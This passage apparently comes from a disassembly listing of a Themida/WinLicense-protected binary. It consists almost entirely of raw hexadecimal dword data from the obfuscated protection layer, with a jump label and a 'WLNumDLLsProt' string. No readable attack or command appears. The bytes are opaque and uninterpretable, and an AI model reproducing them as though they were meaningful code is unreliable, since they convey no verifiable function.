0CF20FF65h, 0BAD9A27Fh dd 0ADDC1F99h, 587B9B0Ah, 0C32AE778h, 1EBD8835h, 0A9FF7C15h dd 4935910Eh, 0DB37E47Bh, 8EBAC971h, 0ADD808D5h, 5929D61Bh dd 0D72AF236h, 18A48823h, 0A7FF7D5Ah, 9F0Eh, 48h dup(0) dd 4E7BF65Ch, 0C926EA64h, 19F3DA34h, 0A9E26E15h, 4D30910Fh dd 0C727AB65h, 8CF4C634h, 0BAD30F9Ah, 432EC54Fh, 0C52BE278h dd 4ABAC171h, 0B4F8754Ch, 5F21C243h, 8C28EE62h, 8684A55Bh dd 0BBCE1B90h, 432E9743h, 0C624E47Ah, 4AA0C171h, 0ABE26853h dd 413DDC43h, 823CF979h, 0CAB0C630h, 0AACE1F87h, 0D2FC50Eh dd 0D030E46Fh, 5A6D871h, 0ABEC6852h, 4Dh, 61h dup(0) dd 4132F15Ch, 0CD26AB73h, 1AA1DA23h, 0E7E97F41h, 440C914Dh dd 0D265F87Fh, 98B3C723h, 0B69D1794h, 4F7BC40Eh, 822BEE73h dd 3BAC93Ch, 0A7E16F45h, 0C3CD417h, 8221E577h, 88ADC93Ch dd 0B7B07090h, 0D28901Bh, 0C723E57Fh, 0EB1DC32h, 0E6F47815h dd 450E9102h, 8236FE64h, 89F4DA3Eh, 0B5DE1B87h, 0D75D30Ah dd 0D12CE342h, 6BDCE71h, 0A9FA3A50h, 0C2C960Dh, 0C937E461h dd 93BAC971h, 0BBCF1598h, 41h, 0E0h dup(0) aWlnumdllsprot db 'WLNumDLLsProt',0 a0 db '0',0 dd 8 dup(0) dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0 db 3 dup(0) ; --------------------------------------------------------------------------- loc_54098B: ; CODE XREF: Themida_:0053FFB3j jmp loc_5436F2 ; --------------------------------------------------------------------------- dd 8BD38AFCh, 0B43CBAC0h, 95293979h, 6031259h, 1039BD83h dd 75000603h, 1DBD8309h, 60311h, 53501374h, 1B8C08Bh, 8D000000h dd 5AF339Dh, 5BD3FF06h, 1DBD8358h, 60311h, 53501174h, 1B8h dd 0E49D8D00h, 0FF0605ADh, 66585BD3h, 56DC90BBh, 5AD38B66h dd 9589C08Bh, 6030115h, 371BD83h, 0F000603h, 1FE84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 32BF8A0Ah, 162904E4h, 0AE85609h, 7E000000h, 0B87382D5h dd 6827BD04h, 8F0FCBh, 5B000000h, 35BD835Bh, 60323h, 1B5840Fh dd 95890000h, 6031785h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0B58923E3h, 6032A59h dd 2335858Bh, 5F80603h, 3E8h, 0BF99D8Bh, 0E9500603h, 0Eh dd 74FCA19Ch, 3A7344B5h, 64EBF52Dh, 489486Dh, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0AA53E051h, 95BFA3D2h, 9D298FA0h, 6031C91h, 4CFE858Dh dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 80EDD0C3h, 8A50CFC6h, 240489F8h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D3C35242h, 0F6D666ADh dd 816681D1h, 8D6A72DAh, 34CDC85h, 859D8B06h, 9006032Ah dd 310F5250h, 585AD6B3h, 80BB6650h, 6A9092h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B83FAEC3h dd 0F375FC30h, 0DE8C46Bh, 77000000h, 8DC5B98Ch, 65DAE12Bh dd 535FBBCBh, 491958Bh, 0FF5B0603h, 3128595h, 0D2B70F06h dd 890CC483h, 310A1BDh, 0DC858D06h, 6A06034Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 8B39C350h, 0F78A50D8h, 0F5240489h, 6A026Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 652B61C3h, 0D58644BBh, 67D68028h, 857495FFh, 6A0068h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 618403C3h, 0C7DEBF0Fh, 34D0F85h, 106h, 0BE900h, 4E640000h dd 1C134150h, 8260CA0h, 0E5952B3Dh, 5006031Bh, 9E9h, 41E8D400h dd 9565247Bh, 3489F09Eh, 299DBB24h, 0B589071Fh, 6034CC0h dd 0F5958B57h, 5A06032Dh, 0F6C28166h, 91BD83CDh, 106031Eh dd 4E850Fh, 0BCB30000h, 0F05F883h, 4385h, 188E0F00h, 0E9000000h dd 13h, 54FA3A4Eh, 0D8513194h, 7FDE250Eh, 5DEEC981h, 0B8471474h dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C3C35545h dd 0FD8A0F21h, 3059BD83h, 0F000603h, 1D84h, 11E900h, 40DE0000h dd 530F0D18h, 0C145FF2Bh, 79111BFFh, 0B8726838h, 0 dd 666010B6h, 858BD38Bh, 60301FDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 67C35040h, 0F16BEEAFh, 6658BF30h dd 0C083DF8Bh, 0D3816602h, 8589A5B1h, 6034CB8h, 48E0Fh dd 50530000h, 0C65B5Ah, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 83865F48h, 59EFB906h dd 6718D29h, 85C60603h, 6032F39h, 2DBD2953h, 0E8060323h dd 4, 0FCB148D8h, 6650DE8Ah, 8B8C86BAh, 66042444h, 8BDE8Bh dd 5AD08B52h, 4244489h, 8158D88Bh, 0E9ED21E3h, 0C9B5FF27h dd 6A060328h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 9359C352h, 0D05E3A6Ah, 9D890960h dd 6033085h, 1FE59501h, 858D0603h, 60673BCh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0AAC35141h, 995B00EFh dd 5E9h, 91E0A00h, 0D0FFE68Bh, 7E9h, 0B5E78A00h, 0F3B24655h dd 1FB98589h, 0DE8B0603h, 2C69BD83h, 0F010603h, 0BB85h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0B206AABFh, 0DEBF0FB3h, 5BD0161h, 0BA06030Bh dd 6EE77B13h, 2F3985C6h, 60450603h, 0E8DF8B66h, 8, 6F62651Bh dd 8C860E5Bh, 30D58D89h, 615A0603h, 2A40A368h, 81AEB2CFh dd 0F81F2404h, 9D8B0B35h, 6031FD9h, 28C9B5FFh, 858D0603h dd 60673BCh, 1AA19D89h, 0D0FF0603h, 239D9D8Bh, 6A0603h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 93C35545h dd 0C7096247h, 0D68B29B6h, 0EE9h, 0A5142200h, 82102AAEh dd 9F3672A0h, 0FFB9BB5Dh, 0DFBF0FD0h, 96DBD83h, 0F010603h dd 0E685h, 0DA816600h, 8A0F3C82h, 3, 8B0BE380h, 301FD85h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0F30223DDh, 0A7C30E0Eh, 1958B8Fh, 0E9060309h dd 5Ch, 0E950BDB6h, 12h, 0B3B77DEFh, 0CB6A0AB4h, 0E9CCEE76h dd 30509B0h, 489CDDEh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 433CD04Ah, 67B3D85Ch dd 17C380D7h, 2D719D8Bh, 146A0603h, 1FB995FFh, 0DBB0603h dd 5814FEC7h, 0F05CBA66h, 0F003880h, 0FFFF9D85h, 50006AFFh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0C6FE20C0h, 6A0100h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 614089C3h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0F9C35242h, 26099503h, 0BD830603h dd 6030F35h, 5F840F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 8684C350h dd 6C1E77AAh, 1AF19D29h, 0FF6A0603h, 20499D89h, 95FF0603h dd 6031FB9h, 0E9D68B66h, 0FFFFFFEAh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0E8C35141h, 80C8D680h, 85C7A6C3h dd 6030F35h, 1, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 2EC35141h, 12E9h, 3D6C6000h, 0D863ACCDh, 0E88350E0h dd 87A1A9E6h, 89B257F9h, 34CC485h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 4C5E7E2Ch dd 4C070C2Fh, 566090F5h, 0EE9h, 0E1140E00h, 56E474EDh dd 8EB7A245h, 5A6AA5D8h, 14E8h, 0BF3DD600h, 6C69A28Fh dd 47FE6994h, 2F0003A7h, 49997470h, 5B5E5185h, 7EB65061h dd 14E890h, 4A220000h, 65ED1820h, 0AB825DC4h, 33CD7AD2h dd 0A2F1ADF4h, 850132ABh, 6031145h, 56A605Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 85C35040h, 8E9DD87h dd 0C0000000h, 0F8307459h, 8B855732h, 305FD95h, 0DC858D06h dd 6A06034Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 554AC356h, 0C29426BAh, 52505017h dd 0D38B6653h, 0E8310F5Ah, 8, 775B2631h, 2D1F9E9h, 6E9h dd 0F730B900h, 5AC8FC75h, 489585Ah, 0CC858D24h, 5006034Ch dd 9FC7BA66h, 81240489h, 9A91FDDBh, 2195FF60h, 66060326h dd 77E2E281h, 7A1D8D8Dh, 81660603h, 0B7135F3h, 8D1174C0h dd 34CDC85h, 0D1FF5006h, 4CFA8589h, 0AEB0603h, 4CFA85C7h dd 0FFFF0603h, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0BEA343C3h, 85521A62h, 8BD7734Fh dd 32F1D95h, 38D0F06h, 80000000h, 5361FAEFh, 2E98D89h dd 0C65B0603h, 32F3985h, 0BA664D06h, 2568B238h, 50327423h dd 60525052h, 60310F61h, 0F585A61h, 10E931h, 0F2420000h dd 7B31DEDFh, 305DD2B4h, 40211A2Bh, 585A7585h, 83240481h dd 0E871C153h, 0Dh, 0C3448599h, 7DBEA455h, 35693DB0h, 0D8B70FD5h dd 91B5FF5Bh, 8B060331h, 31A399Dh, 6EDB8106h, 8D7FDBB7h dd 673BC85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 3800F71h, 0F000000h, 0D0FFDFBFh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D5C35242h dd 0D451F573h, 85C07F17h, 999D0BF5h, 29060317h, 3283D9Dh dd 0E1858906h, 0F06031Ah, 8Bh, 3985C600h, 4506032Fh, 5FDBD89h dd 4E80603h, 69000000h, 508E7269h, 1B850Fh, 8E0F0000h dd 15h, 10E9h, 891D6400h, 0E2E4E5Ah, 0EF83A523h, 9D9A56C3h dd 24448BE0h, 50008B04h, 0FF58A52h, 5E831h, 0CE200000h dd 0BBCC3C0Bh, 0DA497E7h, 89585A5Ah, 53042444h, 0F49816BBh dd 0BA585A77h, 1A112955h, 28C9B5FFh, 9D8B0603h, 6032BBDh dd 73BC858Dh, 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 3EAC12C3h, 998D89E6h, 0FF060332h dd 89DA8BD0h, 320F185h, 458D8906h, 8B06030Fh, 8C66F9D2h dd 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 750553D1h, 0E89DD382h, 7, 0BF2C42B5h, 8AA8F3E4h dd 0C0BA5BDAh, 897C45C0h, 31ECDBDh, 4C1F606h, 233840Fh dd 8B600000h, 31C2DB5h, 0F4806006h, 615F562Eh, 298D8961h dd 0E906031Fh, 112h, 0CD042BBh, 61BA665Ch, 5B58B83h, 6A06032Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0E9A8C357h, 170B744h, 330D19Dh, 80C68106h dd 6A000011h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 2287C356h, 0EF47EA2h, 3ED381C9h dd 0B67D06FAh, 85BD8340h, 6032Eh, 31850Fh, 41BA0000h, 812DE7DBh dd 0C60881E3h, 6BE96Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 49C093C3h, 83BE2F6Eh dd 840F003Eh, 41h, 519D8B51h, 5B060319h, 6660D78Bh, 3BC4E381h dd 9D8B146Ah, 60331B5h, 0FFD8B70Fh, 31FB995h, 0C59D8B06h dd 6106032Dh, 0BE9h, 0CBA81600h, 9CECFFBCh, 0C3EE777Ah dd 0FFFFBAE9h, 0D7BA66FFh, 106C717h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 7711C350h, 0BD8383CFh, 6034CC4h, 0FA850F05h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 83C8C351h, 0B5E5ADA0h, 7E9CBh, 35A90000h dd 0BDFADD15h, 3D95898Dh, 8B06032Fh, 320F1B5h, 0D68B6606h dd 64B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 8AB8F225h, 0E83E80FDh, 19840Fh, 0AE90000h dd 9E000000h, 0A06E20D0h, 475C206Eh, 2BE9E5h, 81660000h dd 802668E3h, 0FC2057Eh, 6084h, 14E800h, 51B60000h, 26094397h dd 0E740B3A3h, 3633870Bh, 6AC8539Eh, 0DA8B0E81h, 9D8B465Bh dd 6032971h, 0AA850F49h, 50FFFFFFh, 68B0Fh, 958B0000h dd 603014Dh, 2FE95Bh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0BEE167C3h, 8A957610h dd 0DDB589DDh, 3060331h, 309F595h, 6A5806h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 59DFA3C3h dd 2179BD83h, 0F000603h, 19984h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0EC78FC85h dd 0A19DF547h, 60A8F780h, 0C6D1BF0Fh, 32F3985h, 6A5406h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 2D2DA2C3h, 8943F7DEh, 324858Dh, 4E8FC06h, 0F4000000h dd 66FF4EBEh, 50A2EEBAh, 0AB75F5BAh, 24448B2Ah, 8B88B704h dd 0DE800h, 8FC20000h, 92EAF28Fh, 337A209Ch, 664627BBh dd 895ADE8Bh, 66042444h, 582AA8BAh, 0AE9h, 7C992100h, 20EFCA5Dh dd 0FF32A357h, 328C9B5h, 35BD3106h, 8D060306h, 673BC85h dd 11958B06h, 0FF06031Dh, 51006AD0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 828E018Ch dd 89607C3Eh, 321C195h, 0EE906h, 0AA950000h, 0C78C25A4h dd 0DDE4D183h, 0EE305AB3h, 0BA006A61h, 604F5E46h, 0DCEA8166h dd 79B5FFDAh, 6A060321h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 3115C352h, 0BF0F73E0h dd 12E8DFh, 20D0000h, 6857FFADh, 0DA8D81Bh, 883B5D1Fh dd 41B2DCCBh, 1B71958Bh, 8A5B0603h, 6AD0FFD1h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 70E1C356h, 1C199D89h, 6A610603h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 10F6C351h dd 6F1D5A7Eh, 315B589h, 85C70603h, 6031D65h, 1, 3149958Bh dd 9E80603h, 0 dd 0A527F096h, 595AF29Fh, 58B0Fh, 81660000h, 5A4ACFCBh dd 0D85EBB60h, 55681590h, 662B9CA9h, 3481D78Bh, 9CA9D524h dd 199D2B2Bh, 6A06031Bh, 0C19D29FFh, 0FF060317h, 30F8595h dd 0FD958906h, 6106031Bh, 8B908FB7h, 0AE850DEh, 0B5000000h dd 9F1F3FABh, 0AEC2218Ch, 61606009h, 5A6147B0h, 56006A90h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0DF3E37F9h, 3056E9CAh, 958BA22Ah, 6032535h, 11F5858Bh dd 958B0603h, 60310E5h, 840FC00Bh, 52h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 19h, 8EC35343h, 0D486A664h dd 1F8D0F62h, 0E8000000h, 13h, 2EC5D069h, 0C1647F5Bh, 0C6E3A4E8h dd 1307F957h, 81A6B74Ah, 0BFA786F3h, 95FF5A69h, 6031D39h dd 98DDEA81h, 85C70B54h, 6031EF9h, 1, 8366C780h, 30339BDh dd 840F0006h, 2Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 6DC35747h, 3263FEh, 8B66DC44h, 95FFF8DAh dd 603303Dh, 83D2BF0Fh, 32A31BDh, 840F0006h, 2Eh, 2F75F3BBh dd 9D95FF72h, 6A06031Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 5C79C356h, 108D8589h dd 0BD830603h, 6030B6Dh, 5B840F00h, 0F000000h, 0BD83DFBFh dd 6031E65h, 4B850F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0FDBAC353h dd 95FF94E6h, 6030389h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 36C35040h, 0D3E0D1E7h, 2EF5B509h, 0BD830603h dd 6032D85h, 50840F00h, 0F000000h, 581h, 0DB816600h, 8581725Dh dd 6031775h, 4003h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0D3C35242h, 0EA2512D2h, 293A380Bh, 32A5D9Dh dd 81FA8A06h, 3239185h, 400306h, 0D5BD8900h, 0F060303h dd 4FBA6631h, 5A8D8D2Fh, 0BA06035Dh, 46429715h, 6A0189h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 6DFA2DC3h, 0E226968Eh, 807CAD41h, 0C233EFCAh, 0F558589h dd 41890603h, 310FF804h, 6850Fh, 9D8B0000h, 6032689h, 5D8F8D8Dh dd 81660603h, 89E8FDEBh, 0D88B6601h, 6AC233h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B6057AC3h dd 89F1DF80h, 9D8B0441h, 6031F05h, 2021BD83h, 0F000603h dd 3C84h, 41950B00h, 8906032Ch, 32C5D8Dh, 2595FF06h, 6A060321h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 15F0C357h, 0AF45552Ah, 3360B6DCh, 31DA195h dd 0F1BD8306h, 1060330h, 80850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0FE925C3h dd 56000000h, 0E029D683h, 61067BFBh, 0A829EEDDh, 4BE94864h dd 29000000h, 311E98Dh, 0B6B58B06h, 0C706035Eh, 6, 63B58B00h dd 0C706035Ch, 6, 9D8BCF00h, 603207Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0DC35343h, 1579E43Dh, 14D958Bh dd 0BD830603h, 6031EF9h, 77840F00h, 0E8000001h, 0Dh, 0EC796D27h dd 286C5D56h, 0ED26EB7Fh, 5FD680F3h, 10810F5Bh, 0E9000000h dd 0Bh, 928DE23Ah, 0EE494035h, 83E745DDh, 30615BDh, 850F0106h dd 129h, 21DD8D09h, 8D8B0603h, 6034CB8h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 91C35747h, 3C5A67C0h dd 79F50B0Dh, 2DA19501h, 9D090603h, 60313B5h, 8B0001C6h dd 31A519Dh, 0D38A6006h, 4E8h, 8000h, 0BB575000h, 2165E3B3h dd 24448B5Bh, 6E904h, 60EB0000h, 0A07A079Ah, 54B3008Bh dd 4244489h, 0FA8B6660h, 0FF16BE66h, 0B5895861h, 6032FEDh dd 0BE8h, 2C4B2700h, 0A75B3616h, 41AF2057h, 280D9D89h dd 6A5A0603h, 0F28166FFh, 95FF2ACFh, 6030F85h, 30AD9D8Bh dd 0E9610603h, 0Dh, 6CBF646Dh, 0D6647E92h, 97541B94h, 0D95FF0Ch dd 6A060332h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0C4F8C352h, 0E99BF2C6h, 9, 325AE5F0h dd 8321EF71h, 67BA528Bh, 5A0D87D3h, 4CB88D8Bh, 0BB510603h dd 35DCC640h, 6A01FE5Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 8923C351h, 3062195h dd 0B9BD8306h, 1060310h, 8850Fh, 0F08A0000h, 0CE58531h dd 0C08B0603h, 9B19589h, 0BD830603h, 6031039h, 83097500h dd 3111DBDh, 1A740006h, 0C08B5350h, 1775858Bh, 85890603h dd 6031775h, 0B0919D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh dd 50187400h, 75858B53h, 89060317h, 3177585h, 809D8D06h dd 0FF0605ADh, 29585BD3h, 312A99Dh, 41958B06h, 6A060320h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0FEDEC350h, 6DBD29EEh, 0B206031Dh, 8BC08B72h dd 320199Dh, 0F9BD8306h, 6031Eh, 5D850Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0D3BC7FC3h, 56A67417h, 80F28067h, 0BB66E5F7h, 0BD834161h dd 60320D5h, 24840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0A34CC353h dd 0CAB5DA51h, 833D0FF7h, 31EF9BDh, 840F0006h, 12h, 0BD83DE8Bh dd 60304D9h, 3840F00h, 0F000000h, 0BD83D3B7h, 6031EF9h dd 29840F00h, 0F000000h, 1082h, 0BE900h, 2B70000h, 4D287ABFh dd 64971C38h, 0D9BD8399h, 60304h, 6840Fh, 95310000h, 6033281h dd 1EF9BD83h, 0F000603h, 2784h, 12E900h, 0F0AD0000h, 8E8A7314h dd 0B25C3D75h, 0FADF2EC1h, 0A0C51A07h, 1FDDBD83h, 0F000603h dd 384h, 0DABF0F00h, 1EF9BD83h, 0F000603h, 3A84h, 7E800h dd 647E0000h, 541B94D6h, 61958B97h, 5B060321h, 3890Fh dd 8B660000h, 29BD83D0h, 6031Dh, 11840Fh, 81660000h, 0FFB8C5D3h dd 320E195h, 8D958B06h, 8B060310h, 51006AC0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 13ECE49Ah dd 1BDD7C19h, 611958Bh, 0BD830603h, 6031039h, 83097500h dd 3111DBDh, 1A740006h, 0C08B5350h, 2391858Bh, 85890603h dd 6032391h, 0B0F89D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh dd 50187400h, 91858B53h, 89060323h, 3239185h, 999D8D06h dd 0FF0605ADh, 31585BD3h, 3211585h, 0D08B6606h, 25019D8Bh dd 0C08B0603h, 820Fh, 0BD830000h, 6031EF9h, 0EC840F00h dd 0F000004h, 9D8BD9BFh, 60326CDh, 2C69BD83h, 0F020603h dd 5284h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 1B7B1EECh, 0CA63D6EDh, 10E93AB5h dd 0A2000000h, 5F91671Dh, 0A0030769h, 632AB32Dh, 51F322BEh dd 5ADBB70Fh, 30F1BD83h, 0F010603h, 685h, 0D5958B00h, 83060324h dd 323E5BDh, 840F0006h, 12Ah dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F5C35040h dd 0BC7A3BB7h, 2D62A9Ch, 0FE8E8h, 484A0000h, 74651DA8h dd 7E5AD9FCh, 0E620587Ch, 0A5BD8991h, 5B060323h, 0C2AABA60h dd 8D8B519Ah, 6034CB8h, 1E8DBD89h, 1FE0603h, 0E8DFB70Fh dd 4, 80h, 8B50D78Bh, 24448BDFh, 8B3EB204h, 893AB200h dd 60042444h, 708376BEh, 52505044h, 585A310Fh, 6A586159h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 20DDC351h, 6E9h, 0A09BCA00h, 6A892B95h, 895160FFh dd 32E8DBDh, 958B5E06h, 60313E5h, 1858961h, 0FF060322h dd 30F8595h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 1ADC3315h, 9589D28Ch, 6032385h, 52006A61h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0CF8D2191h, 0C23E7019h, 0BA66AAF5h, 0F601454h, 84h dd 2840F00h, 8B000000h, 0E96061FBh, 0Ch, 3C121FDh, 61685D3Ah dd 0BE9BF8AFh, 8B15E680h, 34CB88Dh, 0E1806006h, 0AE9E9h dd 8A0D0000h, 0FC4B5718h, 0A562CB46h, 0F01FE61h, 0D87h dd 8E900h, 0DAF00000h, 0B9BFD70Eh, 0B868AE46h, 66879A72h dd 481D68Bh, 658DC824h, 599D8B78h, 6A06031Ah, 119529FFh dd 0FF06030Ch, 30F8595h, 49958B06h, 61060317h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 85C35747h, 633BAEA4h dd 89BD8D99h, 6006030Bh, 880F60h, 81000000h, 0DCABE5DFh dd 858B6166h, 6032531h, 1C4F8B61h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0A4C35040h, 6A65F220h, 0D5958B01h dd 91060323h, 3EB4BB66h, 91D6B350h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 5DC35040h, 0B9CFBA23h, 858D5790h dd 6063BF7h, 29BD8960h, 0E8060300h, 9, 0CF5DCBC7h, 61A25769h dd 615BF8E1h, 0D68BD0FFh, 0F9204F8Bh, 5BBFD281h, 36A4565h dd 5A77B756h, 89D4B350h, 858D240Ch, 6063BF7h, 0D0FFD38Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B2C35343h dd 2E59D8Bh, 0BD8D0603h, 6030B89h, 1C4F8BF5h, 2ED58589h dd 16A0603h, 0CCF38166h, 17B25009h, 0E8240C89h, 8, 0E4B04E04h dd 9CFF2C82h, 13E9h, 14B8A00h, 98EE8AD3h, 3DCD346Dh, 0D050B724h dd 879AE082h, 0F7858D5Ah, 0F06063Bh, 0D0FFD8B7h, 6E8h dd 8D24100h, 5BBE3229h, 0E8204F8Bh, 0Fh, 0AFEE225h, 0E6C9091Ch dd 190201B8h, 52A6122Dh, 939BD89h, 5B5A0603h, 0D98B036Ah dd 0AB40DA81h, 509119E5h, 0F4AB252h, 61606031h, 10E8h dd 3932000h, 9ADBECCCh, 0E3167360h, 97B14B8h, 5A615FEEh dd 0CCB25058h, 858DF891h, 6063BF7h, 13A59D8Bh, 0D0FF0603h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 90C35646h dd 0F69FC960h, 0CE918h, 0E8E20000h, 379CACFh, 0AC0A2EB2h dd 8D8B8496h, 6034CB8h, 1BCDB509h, 0D7800603h, 6A01FE9Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8B9CC350h, 34CB885h, 8E906h, 86940000h, 0B94B423Ah dd 0FEF9BAh, 0EDB53360h, 8B06030Bh, 329CD9Dh, 13E86106h dd 0E3000000h, 151D1870h, 2F21E3F5h, 37E2B44Bh, 19485181h dd 950B810Bh, 6031259h, 89016A5Bh, 311F98Dh, 4E806h, 9FFF0000h dd 0BA66FFFFh, 0BB50E92Bh, 5362E36Dh, 424448Bh, 1C5BA53h dd 8B5B0D4Fh, 28B0F00h, 0B2000000h, 24448989h, 1CBB6604h dd 6A5894h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 33BD2FC3h, 300299Dh, 1858D06h, 0E806063Ch dd 5, 29C4F1D7h, 11E9D6h, 0A7E70000h, 0A1B51BE3h, 0D07939DBh dd 47346F75h, 5B238D4Dh, 0FFDF8B66h, 85958BD0h, 83060324h dd 320D5BDh, 840F0006h, 0BDh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 54C35141h, 32C056F9h, 95894E0Fh dd 91BD83CAh, 106031Eh, 8B850Fh, 9D8B0000h, 6032901h, 3C0B8D8Dh dd 85890606h, 60328F1h, 0BB66036Ah, 16A3E50h, 2C799D8Bh dd 0D1FF0603h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 17C35040h, 3291958Bh, 0BD290603h, 6030039h, 6AFC016Ah dd 99D8B01h, 0FF060306h, 0B50153D1h, 6030CA1h, 8FBA665Bh dd 5D0AE8DFh, 6AFA58h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 1DF768C3h, 0DE91846Ah, 6A206AB3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 1CF7C351h, 0D4F48C64h, 